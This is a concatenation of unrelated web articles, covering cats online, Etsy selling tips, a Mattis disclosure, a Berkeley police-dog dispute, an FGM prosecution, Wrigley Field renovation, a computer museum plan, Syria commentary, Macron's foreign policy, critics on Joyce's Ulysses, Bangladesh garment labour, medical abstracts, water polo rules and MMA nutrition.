And there are more concrete influences to consider: Americans are living alone longer, moving around more, and have less money than they used to—cats fit the cultural moment. Cats are less burdensome than dogs on a daily basis, but that compromise is met with limited rewards: conditional affection, no tricks, hairballs. Perhaps millennials and cats make a match because cats are very much like the on-demand economy, which trades convenience for only elusive security.
Cats are Uber, but for love.
Well, I am being unfair to cats. And to Uber, for that matter—Uber has made a practice of occasionally delivering kittens to offices in need of mid-day pick-me-ups. These stunts sell out quickly, which attests to the internet’s cat fixation but also to the ultimate snuggle-worthiness of cats—and humans. Sure, we may find cats’ affections maddeningly, attractively unpredictable but, deep down, we suspect cats love us. And perhaps because that affection is so hard to pin down, it feels genuine.
On the internet, where everything is suspect, cats—while sneaky—are above suspicion. The internet is virtual. Cats are real. The internet is about debate. Cats are undebatable.
As Kevin himself pointed out back in 2004, the cats are the medium, not the message:
“I’d just blogged a whole bunch of stuff about what was wrong with the world,” Mr. Drum said. “And I turned around and I looked out the window, and there was one of my cats, just plonked out, looking like nothing was wrong with the world at all.”
“Why cats?” Bernard asked. Because cats.Last year, Etsy sold $180.6 million-worth of goods. The Brooklyn-based team behind this online marketplace for handmade crafts is helping many sellers profit handsomely by offering them a platform to sell their merchandise. Some aspiring entrepreneurs have even quit their day jobs to pursue their Etsy "store" as a career.
Mu-Yin Mollie Chen began selling her hand-crafted jewelry pieces on eBay in 2006 as a hobby. She worked full time as a piano instructor in Indianapolis, traveling to clients' homes for private lessons. Running her eBay store in her free time, Chen would sell pieces here and there, without much consistency from week to week. Though she was satisfied with how things were going, a fellow artist she met on eBay suggested she start an Etsy shop.
"I went on the site, checked it out, and two months later I opened Muyinmolly [my Etsy store]," Chen said. "I made my first sale within 24 hours, was profitable after a month, and selling triple what I had been selling on eBay." Shortly after, Chen decided to close her eBay store.
Once business took off, Chen decided to leave her job as a piano instructor, and pursue her jewelry store on Etsy full time. So far, she's sold almost 4,500 of her pieces, which range in price from $2 to $250, to people in over 30 countries.
In April 2010, the number of items sold on Etsy totaled 1.3 million, and the statistics have been increasing exponentially since its inception in 2005. Though Chen and other profitable Etsy sellers believe the site isn't for everyone, they offered these tips to help you boost both visibility and number of sales on the popular website.
How to Make Money on Etsy: Be Different
Etsy currently boasts 400,000 active sellers, which they define as individuals who have sold goods on the site within the past year. With such a high volume of goods for buyers to choose from, it's crucial that the product is high quality and most importantly, unique.
"A lot of the most successful Etsy sellers not only hand-make their stuff; they also make it special," says Chen. "For example, maybe you crochet and you want to sell it. But a lot of people crochet. You have to think: why would customers want to buy from you? The more special your product is, the more likely people will buy only from you."
Ryan Aydelott and Josh Saathoff, owners of the Etsy store Isotope, have sold almost 9,000 of their quirky t-shirts on the site since they joined in June 2007. They too stress the importance of having a different product that really stands out. "Find a niche, even if it's rather esoteric," says Saathoff. "Don't try to cater to everyone. From a design perspective, whenever I try to design for a specific audience it doesn't work."
Dig Deeper: Is Your Business Terminally Unique?
How to Make Money on Etsy: Killer Photographs and Detailed Descriptions
Like any e-commerce site, Etsy buyers are generally purchasing items sight unseen. They'll be shelling out money for the product before they get the chance to try it on, touch it, or smell it – which means photographs and product descriptions need to be spot-on.
Elle Greene, who runs AustinModern, a Texas-based vintage furniture store on Etsy, says photography and descriptions are a crucial part of her business. In Greene's experience, catalogue-style photos, which may work well on some sites, aren't met with much success on Etsy. "Etsy is very focused on photography. I've learned more about editorial-style photography from my experience on the site than I could have ever imagined."
Greene says photo and prop stylists frequently peruse the site and look for not only a beautiful photograph, but also as much information about the product as possible. AustinModern's descriptions include the product's dimensions, weight, materials, condition, history, and more. Greene must have the right idea – her pieces have been featured in magazines like Elle Décor and Architectural Digest.
While many Etsy sellers can't afford to hire professionals to shoot their products, there are a ton of great resources on the site itself. Etsy's blog features sections like "The Seller Handbook" and "Your Shop 101," in addition to hundreds of forums that provide sellers with photography tips and tricks. Some sellers even recommend bartering goods in exchange for the services of a photo-savvy friend or Etsy member.
"To me, there's definitely an 'Etsy-style' photo," says Chen. "You don't want your photo to look commercial – you want it to look artsy. You want to show your personality."
Dig Deeper: How We Did It: Stewart Butterfield and Caterina Fake, Co-founders, Flickr
How to Make Money on Etsy: The Art of the Listing
A lot of strategy goes into the way items are listed, how often they're listed, and the number of items an Etsy store has at any given time.
Ryan Aydelott of Isotope says that the item's title is of the utmost importance. When an item is listed, it can be marked with up to fourteen search 'tags' that allow the item to be searchable for potential buyers. "The tags have to be relevant. If you try to cast a huge net, you get bad results, but when you're very specific and descriptive, you'll have better luck," Aydelott says. In his experience, shorter titles are better than longer ones.
Elle Green of AustinModern agrees. "Rather than naming the product, such as calling a hand-crafted peice of jewerly the 'Elizabeth Ring,' describe what the product actually is," she says. "Think about how people would be searching for it. There are so many incredible things on that website that are not being found just because of the way they are named." For example, a good title might be 'Purple Gemstone Ring Set in Sterling Silver.'
Both Greene and Aydelott say that the number of listings, and how often you list, really depend on what type of product you're selling. According to Aydellot, having 50 to 100 items in your store at a given time is optimum. "Statistically, people browse through two to three pages of listings (each page features about 20 items)," he says. "So 60 items is about all you'll have the chance to get their attention with. If you don't give them what they want within the first 60, you've lost them." Sellers have also found that if you only have a few items in your store, people won't stay to click around.
Greene says that the way Etsy's search function is designed, the most recently listed items show up in search results first. "If you listed something three months ago, it will be at the very back of the search results, even if it's the exact thing that someone is looking for," she says. Greene tries to list two or three new items each week, though that number might be more ideal for a furniture store, than say, a jewelry designer.
Dig Deeper: Merchandising Online
How to Make Money on Etsy: Get Involved
Many Etsy sellers find it beneficial to become a part of the Etsy community. Chen receives a flood of messages from eager new sellers every day asking for advice. She says that the majority of questions she gets can be answered by simply browsing though the forums, blogs, and threads on the site. Aside from offering a wealth of useful information, forums and blogs help new sellers gain exposure to their peers.
There are even self-organized groups of sellers, or Etsy "teams," that are formed based on geographic location or a common interest. There's something for just about anyone, from the "Quit Your Day Job" blog to the "Mothers of Multiples on Etsy" team. They facilitate things like taking out joint advertisements or attending local craft shows, and also provide sellers with a sense of community.
Aydelott and Saathoff, in addition to thousands of other Etsy sellers, say their Etsy experiences have been incredibly positive. "It's a great springboard and an incubator to test out a concept. Small crafters are going to learn customer service, business management, photography, and so much more," Saathoff says. "It's truly an entrepreneurial bootcamp."
Dig Deeper: How to Use Online ForumsJames Mattis’ worth also includes a significant amount of money he earned during his 44-year military career. | AP Photo Pentagon pick Mattis discloses defense industry work
President-elect Donald Trump’s pick for secretary of defense, retired Gen. James Mattis, is worth as much as $10 million, according to a financial disclosure filed with the Office of Government Ethics — a good chunk of it earned in the past three years from his work with defense giant General Dynamics and other companies.
Mattis’ financial disclosure, posted publicly on Sunday, shows he has between $3.5 million and $10 million, with much of the assets in mutual funds and bank accounts.
That also includes between $600,000 and $1.25 million in stock and options in General Dynamics, where he currently serves as a member of the board of directors.
The document, which is required as part of his confirmation process to join Trump's Cabinet, reflects a fairly typical trajectory for a retired general, with a mix of work for leading arms manufacturers, other private-sector ties, and non profit and academic pursuits.
Mattis’ worth also includes a significant amount of money he earned during his 44-year military career, such as his pension, and earnings from various other corporate boards and consulting and speaking fees since he retir ed from the Marine Corps in 2013.
For example, Mattis received consulting fees or honorarium s from more than 20 businesses in the past year — including $20,000 from defense contractor Northrop Grumman, $20,000 from Goldman Sachs, and $25,000 from Citi corp.
According to the financial disclosure, Mattis received $242,000 as a General Dynamics board member and $150,000 for serving on the board of embattled biotech firm Theranos. He was also paid over $419,000 as a distinguished visiting fellow at the Hoover Institution at Stanford University.
But his biggest post-career financial haul appears to have come from General Dynamics, the Pentagon's fourth-largest contractor, which builds everything from tanks to submarines and communications equipment.
Mattis sold off $12,000 of his $330,000 in GD stock last week, according to a Securities and Exchange Commission filing. He also has more than $570,000 in vested stock options with the defense contractor, SEC filings show.
And as part of a previously released ethics agreement, Mattis has agreed to divest his current stock and forfeit any unvested stock and options in the defense company once he is confirmed as Pentagon chief.
Once confirmed, Mattis also pledged to recuse himself for one year in matters involving General Dynamics and to resign from Hoover. He resigned from the Theranos position and from the board of the Center for a New American Security, a Washington think tank, last month.
In addition, the new disclosure lists a deal reached with Random House Publishers for a book on leadership, though it doesn’t disclose the value. As part of his ethics agreement, Mattis pledged not to work on the book as secretary, and it won’t be published until he leaves office.
Mattis' confirmation hearing is scheduled for Thursday before the Senate Armed Services Committee. With his financial disclosure and ethics forms submitted, he sidesteps potential concerns Democrats have with other Cabinet picks who are having hearings this week before finalizing the paperwork.
OGE Director Walter Shaub wrote to Senate leaders Friday that the confirmation hearing schedule was of “great concern” to the nonpartisan office because it hadn’t had time to properly vet all of Trump's nominees beforehand.
In addition to Senate confirmation, Mattis will require the House and Senate to pass an exemption allowing him to serve as defense secretary. Federal law requires that military officers wait seven years before becoming the civilian head of the military, unless they receive a legislative waiver.EAST BAY / Berkeley residents snarl over police dog plan / Some say canines could be used to intimidate low-income people and racial minorities
EBEMILYc-C-12JUL01-EF-KW - (l to R) Holding the "toy" a stick that is the dogs reward, Alameda Police officer, Patrick Wyeth watches as his police dog, Kenzie, searches for a gun during an evidence search drill at the old navy housing in Alameda. SAN FRANCISCO CHRONICLE PHOTO BY KAT WADE less EBEMILYc-C-12JUL01-EF-KW - (l to R) Holding the "toy" a stick that is the dogs reward, Alameda Police officer, Patrick Wyeth watches as his police dog, Kenzie, searches for a gun during an evidence search drill... more Photo: KAT WADE Photo: KAT WADE Image 1 of / 1 Caption Close EAST BAY / Berkeley residents snarl over police dog plan / Some say canines could be used to intimidate low-income people and racial minorities 1 / 1 Back to Gallery
When Pleasant Hill police asked for money for a canine unit last month, not only did city leaders give them money to buy two dogs - but citizens donated thousands of dollars to help with program startup costs.
By contrast, Berkeley citizens are up in arms about a proposal by their Police Department to buy two German shepherd patrol dogs because they say the animals could be used to intimidate low-income people and racial minorities.
The city, which three decades ago rejected a Police Department attempt to buy dogs, may be the only large city in California without its own canine unit.
"A lot of people harken back to '60s and have bad memories of dogs being used inappropriately," said Berkeley Mayor Tom Bates, particularly against civil rights activists in the South. Bates thinks a dog program could be useful, but will only support one if the city's Police Review Commission approves it.
Right now, that doesn't seem likely, even though Berkeley police estimate they use dogs from neighboring police agencies about 30 times a year, typically to search for armed suspects.
"I am totally against having a canine unit in Berkeley," said Commissioner Bill White, whose position is backed by the group Copwatch. White said most citizens who have spoken publicly have opposed the proposal, which could come up for a vote at the commission's March 24 meeting.
White argues that the need is not great enough to justify the $30,000 startup costs and $12,000 to $16,000 a year to maintain a dog program. Police say the money would come from asset-seizure funds that must be used for front- line police work and would thus not affect the city's general fund.
White also worries about what police will do with the dogs when they are not searching for armed suspects or missing people.
"I'm thinking they're going to just use these dogs when there's nothing else to do to harass people in the lower income parts of Berkeley," White said.
"When police cars come and people see dogs barking and frothing at the mouth, it's just an intimidating factor," he said. "I don't want to see Berkeley turn into a community where they have dogs like that."
Lt. Dennis Ahearn, who is shepherding the dog proposal before the Police Review Commission, said officers would use dogs more frequently if they did not have to rely on outside agencies like BART, and the Oakland and Richmond Police Departments.
"We don't like to be a burden on surrounding agencies and use up all our good will," he said. Dogs are much faster at searching areas for armed suspects, a process that can be very labor intensive, he said.
"A block search can easily tie up eight to 10 officers for a couple of hours," said Ahearn.
Berkeley, which has about 200 sworn officers, is perhaps the only police agency of its size in the state that does not have a canine unit, according to Ahearn.
By contrast, the Pleasant Hill Police Department, which will pick up two German shepherds from a specialized Menlo Park company today, has 50 sworn officers. Until now, the city has had to rely on dogs from outside agencies when conducting searches.
The Contra Costa city's police department faced no opposition when it asked for the dogs. "The city council and the citizens were in full support," said Corporal Todt Clark, who will be one of the department's dog handlers.
Berkeley had a canine unit in the 1930s, Ahearn said, but disbanded it for reasons unknown to him.
Then in 1975 the department proposed establishing a new dog unit, but in 1977 the City Council rejected the idea and banned the use of dogs, Ahearn said.
The Police Review Commission later complained that the department subsequently did use dogs from neighboring agencies when an armed suspect barricaded himself in a store on Telegraph Avenue and when "Stinky" the rapist terrorized the city's flatlands neighborhoods.
In response, the City Council in 1982 adopted its current policy of allowing the use of dogs from neighboring agencies in certain circumstances, Ahearn said. There have been no major incidents in recent memory involving dogs from outside agencies, and no lawsuits, he said.
Ahearn did not know whether his department would go to the City Council if the police commission rejects the idea, which he said seemed likely.
"They've made every indication that they're going to vote against it," he said.
Bates said he wants to investigate the use of dogs in other progressive' cities like Santa Cruz and Santa Monica. He thinks it could be beneficial to have police dogs and handlers under the city's control.
But he said the idea will probably be dead if the commission gives the thumbs down.
"Berkeley is Berkeley, so we have to do what we can to make sure we reach a balance," he said.DETROIT (AP) - A Michigan doctor was charged Thursday with performing genital mutilation on two young girls who traveled to suburban Detroit from Minnesota with their mothers.
Dr. Jumana Nagarwala was arrested after the 7-year-olds identified her as the person who performed procedures on them in February at a clinic in Livonia, according to the FBI.
Nagarwala heard the allegations during a brief hearing in U.S. District Court and was returned to jail to await another hearing Monday. Federal prosecutors want to keep her locked up without bond.
Defense attorney Shannon Smith declined to comment outside court. In a court filing, the FBI said many more girls have told investigators that Nagarwala performed procedures on their genitals.
Female genital mutilation of minors is illegal in the U.S. unless there's a legitimate health reason. The FBI said Nagarwala is a member of a cultural community that believes in the practice but that she denied performing it when interviewed by agents.
She is charged with genital mutilation, making false statements and other crimes.
A winter glove belonging to one of the 7-year-old girls was found at the Livonia clinic. The parents of that child told investigators they took her to Michigan to see Nagarwala "for a 'cleansing' of extra skin," FBI agent Kevin Swanson said.
The World Health Organization said the practice of removing or injuring female genital organs has no known health benefits. Yet it has been performed on more than 200 million women and girls in 30 countries, according to the group.
"It reflects deep-rooted inequality between the sexes and constitutes an extreme form of discrimination against women. It is nearly always carried out on minors and is a violation of the rights of children," WHO says on its website.
Nagarwala, a 1998 graduate of Johns Hopkins medical school in Baltimore, has been placed on leave at Henry Ford Hospital in Detroit where she is an emergency room doctor.
"The alleged criminal activity did not occur at any Henry Ford facility. We would never support or condone anything related to this practice," hospital spokesman David Olejarz said.
___
Follow Ed White at http://twitter.com/edwhiteapChicago Cubs chairman Tom Ricketts said Monday that the framework for a deal to renovate Wrigley Field, which was agreed to by the City of Chicago, will bring a World Series to a fan base that hasn't seen a championship since 1908.
"This massive investment will help us generate the resources we need for our baseball operations to develop championship-caliber players," Ricketts said at a news conference at Wrigley. "If this plan is approved, we will win the World Series for our fans and our city.
"We need this project in order to bring our fans a winner."
The framework of the deal includes a $500 million face-lift for the second-oldest park in the majors, including an electronic video screen that is nearly three times as large as the hand-operated scoreboard currently atop the center-field bleachers of the 99-year-old ballpark.
Under terms of the agreement, the Cubs would also be able to increase the number of night games at Wrigley Field from 30 to 40 -- or nearly half the games played there each season.
Mayor Rahm Emanuel hailed the "framework" agreement in a joint statement issued Sunday night, noting that it includes no taxpayer funding. That had been one of the original requests of the Ricketts family in a long-running renovation dispute that at times involved everything from cranky ballpark neighbors to ward politics and even the re-election campaign of President Barack Obama.
The Wrigleyville Rooftop Association issued a statement after Ricketts' news conference, stating that it reserves the right to enforce the 20-year contract agreed to with the previous Cubs owner. That contract, which is in its ninth year, allows the rooftop owners across from the park to charge people to watch games from their buildings and pay 17 percent of revenue to the Cubs.
"As an organizational partner, we echo the sentiment of all parties involved for our desire that the Cubs play baseball in a modernized Wrigley Field as soon as possible," the statement read. "The players and fans deserve the modern amenities that numerous other Major League Baseball teams have had for years and we are pleased that process will begin. The Wrigleyville Rooftops Association will play an active role in the community process to approve the planned development or any changes to the Landmark Ordinance.
"We are pleased the Chicago Cubs will participate in a community process to flesh out these details more in-depth. However, no community process, city ordinance, or agreement without our consent can or should dismiss contractual rights granted to us by the Chicago Cubs in 2004. Rooftop owners reserve the right to use any and all means necessary to enforce the remaining 11 years of our 20-year contract. We, as well as every interested party in the Lakeview neighborhood, will study the plans submitted to the City of Chicago and play a constructive role in moving forward."
The Cubs said the video screen they are proposing to build is 6,000 square feet, and would be built with "minimal impact on rooftops with whom (the) Cubs have an agreement." The current center-field scoreboard is slightly more than 2,000 square feet; the Cubs also have plans to add a left field sign of 1,000 square feet.About
Overview
This project represents the first phase toward opening a computing machinery museum. My goal is to acquire a minimum of 100 systems to allow a museum with sufficient exhibits to make it worth while for a visit. These systems will be presented on line in the museum section at computingmachineryinstitute.com in a virtual museum.
The second phase will be to open a physical museum in Austin, Texas with a time frame in the next two years. The mission statement can be viewed on the Mission Statement tab on this website.
In addition to funds for purchase of museum items, donations of suitable items is also requested. Anything related to computing from an abbacus or slide rule to and IBM System 360 would
Time Line
August 1, 2014 - Purchase complete for all systems
September 1, 2014 - All system added to website.
November 31 2014 - All systems tested and available for access.
Here are some of the systems to be acquired for the museum.
Personal Systems
Timex Sinclair 1000 Tandy TRS 80 TRS80 model 100 NEC PC 98 TI99/4A IBM PC IBM PC Jr Atarie 1040/ST Ararie 800 XL Atarie 1200XL Coleco Adam OKI A10 Acorn A4 Frankiln Ace 100 Next TI 99/4a Beige Toshiba Satalite 800 Sony Hit-Bit 101 TI 59
Computer Games
Atari 2600 Nintendo Gameboy Neo Goeo Advanced Entertainment
Sony Playstation PC Engine Platform Sega Geneses xbox 360
Nintendo Entertainment System Sega Dreamcast Asaflex 6
Business
Osborn Executive Kaypro IBM System/360 IBM AS/400 PDP-8 Exxon 500
IBM 5100 IBM Selectric BASF 7100 Olivetti A5 NEC APC Sharp AX 286
TI CC40 TI LCM 1001 NCR PC8 Heathkit Z Panasonic FS A1 ST Sony SMC 70G HP-85
Apple
Apple I Apple II Apple Lisa Apple mac Appli iMac
Commodore
Commodore Pet Commodre 64 Commodore Amiga PET 2001
Misc
Altair 8800 Xerox Alto IMSAI 8080 KIM 1 Mark 8Syria’s tragedies were supposed to be mere side effects in the process of change which began almost four years ago, but today, as the anniversary of the Syrian revolution approaches, these tragedies have taken center stage. The change process is being relegated to the side effects of a conflict that is spreading, burning the region, and transforming Syria in to a host country for all manner of viruses.
It is difficult to distance the primary responsibility for the tragedies in Syria from the current regime. It is the fundamental reason for all suffering currently taking place and for the suffering of the Syrian people in decades past. It is the fundamental factor that has either prevented or impeded change in Syria and caused the country’s slow and listless development, which is mirrored by the change in regime oppression. It is the main reason behind a number of crises in the region. It bears the most responsibility for the backward condition of the Lebanese and has prevented them from ending their conflicts, prolonging both unseen and quite public violence. It also bears a large responsibility for the delay in reaching serious solutions for the legendary and protracted Palestinian crisis and has been heavily involved in the spread of Salafist jihadism — whether through the Bin Laden school or the Zarqawi school — in Iraq, and subsequently in Syria and its neighboring countries.
Anyone who wants to defend the Syrian regime must review many decades of history, from the 1960s to the present, but especially the 70s and 80s. They must also review the determined attempts by Hafez al-Assad to take control of the Palestinian Liberation Organization (PLO), even if that meant destroying what Israel could not destroy in 1982. Assad also took complete control of Lebanon and stopped all political and military movements not under his control, even when that meant three years of bloody feuding between Hezbollah and the Amal Movement.
Anyone who wants to defend the Syrian regime today must also review the interwoven and deceptive relations and the long dialogue sessions it held with representatives of Israeli society before repeating the slogans of resistance, steadfastness and confrontation of imperialism. They must first read hundreds of pages from the archives of Syrian embassies in Washington and “conspiring” Western states.
This is just one side of the picture and we can apply it to the present day. It embodies the Syrian regime’s good management of the interests of the people in the ruling classes it represents. It is a serious vision that can transform into daily action — a path drawn out by Hafez Assad, who had a strong awareness of reality and history. He was fully aware of the immoral nature of great small choices alike. His successor, Bashar, also found this approach suitable and took action to protect his own interests and the interests of his partners in the regime (both inside and outside Syria) regardless of the immorality, violence, and even the criminality of what he was doing. He manages conflict well, whether that comes from the few ideas he thinks up himself or through foreign assistance.
But it is the other side of the picture that astonishes: the picture of the many Syrian opposition groups — both those based abroad and those active in Syria, and at all levels within those groups.
While no one can expect much from the Nusra Front except that it may one day become more powerful and try to compete with its big sister the Islamic State (ISIS), we all look on in amazement at how opposition media manages to serve anything and everything except central Syrian issues; how the media can lose itself in settling scores and fostering antagonism but cannot create a public debate around Syrian issues or criticize the internal corruption in the various Syrian opposition bodies without drowning in personal disputes.
We can meditate on the carefully-hidden struggles between Syrian regime personalities, and we can observe how the pro-regime media has managed to convince the world that it is
|
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If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Sylvie Corbet, The Associated Press
PARIS -- French President Emmanuel Macron has made the fight against "Islamic terrorism" in Syria and Iraq the top priority in his foreign policy agenda.
Speaking Tuesday to French diplomats gathered at the Elysee Palace in Paris, Macron called the Islamic State group "our enemy."
"Restoring peace and stability -- Iraq then Syria -- is vital priority for France," he said.
He proposed creating a new contact group including the other permanent members of the U.N. Security Council to help handle negotiations with Syria. He didn't give more details about the exact role and composition of this group, saying the main players of the Syrian crisis would be involved.
The group will first meet at the United Nations in New York next month.
Macron also announced the organization in Paris of an international summit "against the financing of terrorism" at the beginning of next year.
In Libya, a key country in Africa's unstable Sahel region, Macron said only a political process will help "eradicating terrorists." He vowed to help Libya's neighbours, especially Tunisia, to protect those nations against the risk of destabilization.
On French territory, Macron confirmed that he plans to lift a state of emergency that has been in place since deadly November 2015 attacks by Islamic extremists in Paris. At the same time, he pledged to harden permanent security measures to fight Islamic extremism and other threats.
The state of emergency expires Nov. 1.
Macron recalled France's commitment toward the 2015 nuclear deal between Iran and world powers -- an agreement President Donald Trump has threatened to pull the U.S. out of.
"There's no alternative" to this deal, Macron said, calling for a "constructive and demanding" relationship with Iran.
The French president praised a new European-African plan to grant asylum to migrants in Chad and Niger before they try dangerous, illegal sea crossings, calling it "more human and more effective" than any policies tried in the past.
He insisted that taking in refugees "is a question of dignity and loyalty to what we are," but stressed the importance of sending home illegal migrants who don't qualify for asylum.
Macron announced he is naming a new ambassador to oversee migration issues and said his government would step up European-African co-operation efforts to stop migrant smuggling.We’ve recently discussed the reactions of James Joyce’s literary contemporaries to the 1922 publication of Ulysses. T.S. Eliot was floored, and told all of his friends, including Virginia Woolf. Woolf wrestled with the book and either found it too dull or too overwhelming to finish. Whatever the reaction, Joyce’s peers took notice. But what did people who weren’t soon to be the subject of thousands of dissertations think? Of the few non-modernist masters who read Joyce, his first professional critics offer evidence. Take the review of Dr. Joseph Collins in The New York Times (above—see the full text here). Collins begins with a very prescient statement, one most readers of Joyce will likely agree with in some part:
Few intuitive, sensitive visionaries may understand and comprehend "Ulysses," James Joyce's new and mammoth volume, without going through a course of training or instruction, but the average intelligent reader will glean little or nothing from it- even from careful perusal, one might properly say study, of it- save bewilderment and a sense of disgust. It should be companioned with a key and a glossary like the Berlitz books. Then the attentive and diligent reader would eventually get some comprehension of Mr. Joyce's message.
Collins then goes on to praise Joyce’s greatness in no uncertain terms:
Before proceeding with a brief analysis of "Ulysses," and a comment on its construction and content, I wish to characterize it. "Ulysses" is the most important contribution that has been made to fictional literature in the twentieth century. It will immortalize its author with the same certainty that Gargantua and Pantagruel immortalized Rabelais, and "The Brothers Karamazof" Dostoyevsky. It is likely that there is no one writing English today that could parallel Joyce's feat.
Such incredibly high praise it sounds like flattery, especially since Joyce’s book had not even weathered a few weeks among the reading public. For a more sober and careful assessment, see the great literary critic Edmund Wilson’s July, 1922 review in the New Republic. In Wilson’s ambivalent assessment: “The thing that makes Ulysses imposing is, in fact, not the theme but the scale upon which it is developed. It has taken Mr. Joyce seven years to write Ulysses and he has done it in seven hundred and thirty pages which are probably the most completely “written” pages to be seen in any novel since Flaubert." If this seems like faint praise, it sets up some of Wilson’s “complaints” to come. And yet, “for all its appalling longueurs,” he writes, “Ulysses is a work of high genius. [It] has the effect at once of making everything else look brassy.”
Of course there were those who hated the book, like Harvard’s Irving Babbitt, who said it could only have been written “in an advanced stage of psychic disintegration.” And there were the puritans and philistines who found the novel’s scatological humor, frank depictions of sex, and near constant erotic charge a scandal. Yet it was the opinions, however qualified, of Joyce’s peers and most of his critics that moved U.S. Judge John Monro Woolsey eleven years later to rule that the book was not obscene and could be legally sold in America. Wrote Woolsey in his decision, “The reputation of ‘Ulysses’ in the literary world… warranted my taking such time as was necessary… In ‘Ulysses,’ in spite of its unusual frankness, I do not detect anywhere the leer of the sensualist.” Good thing Woolsey didn't read Joyce’s letters to his wife.
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Virginia Woolf Writes About Joyce’s Ulysses, “Never Did Any Book So Bore Me,” and Quits at Page 200
James Joyce’s “Dirty Letters” to His Wife (1909)
James Joyce’s Ulysses: Download the Free Audio Book
Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagnessThe government raised the minimum wage at the beginning of November, but the new level is still below a decent living wage, leading several trade unions to call on the government to subsidise basic foodstuffs.
“It is an absolute disgrace that big international garment companies don’t ensure that their suppliers pay even the inadequate minimum wage. Many Bangladeshi workers producing for export actually get less and work longer than those producing for the domestic market. The anger and frustration of the country’s hundreds of thousands of textile workers is totally understandable, and rather than repressing legitimate protest activity, the government should make sure that all employers treat their workers fairly and pay living wages,” said ITUC General Secretary Sharan Burrow.
Meanwhile, reports from Bangladesh indicate that more than 20 workers have lost their lives today in yet another garment factory fire, in a plant near Dhaka owned by the Hameem Group which is one of the country’s larger exporters. The ITUC understands that workers from the factory spoke of locked emergency doors, and several jumped from the roof to escape the smoke and flames.
“This terrible fire underlines just how bad working conditions in many of these factories are, as big global brands seek the lowest production costs, and a small elite of local factory owners exploit their workforce so ruthlessly. Those responsible for these appalling conditions must be brought to justice, the families of the victims fully compensated, and real action must be taken to provide safe and healthy workplaces,” said Burrow.
To see the protest letterAbstract
Objective The purpose of this study was to quantify risk of stroke after chiropractic spinal manipulation, as compared to evaluation by a primary care physician, for Medicare beneficiaries aged 66 to 99 years with neck pain.
Methods This is a retrospective cohort analysis of a 100% sample of annualized Medicare claims data on 1 157 475 beneficiaries aged 66 to 99 years with an office visit to either a chiropractor or primary care physician for neck pain. We compared hazard of vertebrobasilar stroke and any stroke at 7 and 30 days after office visit using a Cox proportional hazards model. We used direct adjusted survival curves to estimate cumulative probability of stroke up to 30 days for the 2 cohorts.
Results The proportion of subjects with stroke of any type in the chiropractic cohort was 1.2 per 1000 at 7 days and 5.1 per 1000 at 30 days. In the primary care cohort, the proportion of subjects with stroke of any type was 1.4 per 1000 at 7 days and 2.8 per 1000 at 30 days. In the chiropractic cohort, the adjusted risk of stroke was significantly lower at 7 days as compared to the primary care cohort (hazard ratio, 0.39; 95% confidence interval, 0.33-0.45), but at 30 days, a slight elevation in risk was observed for the chiropractic cohort (hazard ratio, 1.10; 95% confidence interval, 1.01-1.19).A wild green-oats extract (Neuravena®) containing a range of potentially bioactive components, including flavonoids and triterpene saponins, has previously been shown to enhance animal stress responses and memory, and improve cognitive performance in humans at a dose of 1600 mg. Methods This double-blind, placebo-controlled, counterbalanced cross-over study assessed the effects of single doses of the green-oat extract (GOE) across a broad range of cognitive domains in healthy adults aged 40-65 years who self-reported that they felt that their memory had declined with age. Participants attended on six occasions, receiving a single dose of either placebo, 800, or 1600 mg GOE on each occasion, with the counterbalanced order of treatments repeated twice for each participant. Cognitive function was assessed with a range of computerized tasks measuring attention, spatial/working/episodic memory, and executive function pre-dose and at 1, 2.5, 4, and 6 hours post-dose. Results The results showed that 800mg GOE increased the speed of performance across post-dose assessments on a global measure including data from all of the timed tasks. It also improved performance of a delayed word recall task in terms of errors and an executive function task (Peg and Ball) in terms of decreased thinking time and overall completion time. Working memory span (Corsi blocks) was also increased, but only on the second occasion that this dose was taken. Discussion These results confirm the acute cognitive effects of GOE seen in previous research, and suggest that the optimal dose lies at or below 800 mg.It is a lengthy document, and I'll read over with some of my own insight later on. Here are the key differences from FINA that were proposed: 1. Ordinary fouls" are eliminated – there are only "technical fouls" (2 hands, inside the 2, ball under etc.) for which the ball is turned over and "personal fouls." Impeding and pushing are now classified as personal fouls. 2. Tackling is eliminated. Defensive players are permitted to push or impede the movement of a player "holding the ball" but are never permitted to "grab, hold, or sink" an opponent. 3. All personal fouls will be counted as personal faults against the offending player and with the exception of offensive fouls, count as team fouls. Each player will be excused from the game after accumulating 4 personal faults. For team fouls 1 – 5, in each half, the offending defensive player will be excluded for 20 seconds. For the 6th team foul, and every foul thereafter in each half, the player fouled will be awarded a penalty shot. 4. The referee will stop play and call the ball out of the water after every personal foul. This rule change, which brings the sport in line with all other sports. The immediate shot after a foul beyond 5M and the "quick" (which absolutely no one outside the inner circle of water polo understands) are eliminated. It is also important to remember that one of the primary purposes of these rules is to drastically reduce the number of whistles and number of fouls called during a game – and every personal foul will result in either a 6 on 5 or a penalty shot. 5. There is a delayed call when an advantage situation exists. If a goal is not scored, the offending player and team will be penalized. 6. The field is reduced in length from 30 meters to 20 meters. 7. Field blocking with two hands is permitted, but two hands cannot touch the ball at the same time. 8. The offense retains possession after any defensive player tips a shot out of bounds. 9. After a goal, the ball is put in play by a goal throw, after having been handled by the referee. (Players do not need to be lined up in their own half).The Three Amigos recently had the chance to sit down with George Lockhart's FitnessVT partner and MMA weight management specialist, Daniel Leith to discuss his work with AKA standouts like Luke Rockhold, Daniel Cormier and Cain Velasquez. You can listen to the full interview on the podcast, but we have transcribed some selected highlights for you below.
Background
My background is in the military. I served eight years in the marine corps, and in 2010 I received orders to go to QUANTICO where i taught at the martial arts service of excellence for the last 3 years of my service. I met George Lockhart at the martial arts service of excellence where he was the head instructor for the combat conditioning program.
I had met George briefly back when I was a student and we hit it off, and he remembered me when I came back. We both saw the nerdy obsession about nutrition we have in each other. He went on to mentor me and the rest is kind of history.
Working with Daniel Cormier
Working with one fighter 24/7 is something I had kind of dreamed of doing. Being able to be solely focused on one athlete, especially someone as special as Daniel Cormier, was an ideal situation. It lets you make sure every aspect of their nutrition is perfect. You're monitoring everything they do from the moment they wake up until the moment they go to sleep. It really lets you focus on getting the most out of every training session and maximise their recovery. It was perfect.
While I was out working with Cain for the Werdum fight, I was doing some meal prep with Daniel and trying to rebuild the foundation for him as he gets ready for his next camp, but I was mainly focused on Cain and slowly working with DC. As I said, when I go out there to embed with one fighter my focus is just that one fighter. Although everyone at AKA is one the same team and they're very supportive of each other's success, I still try to really focus on the one athlete I'm there for.
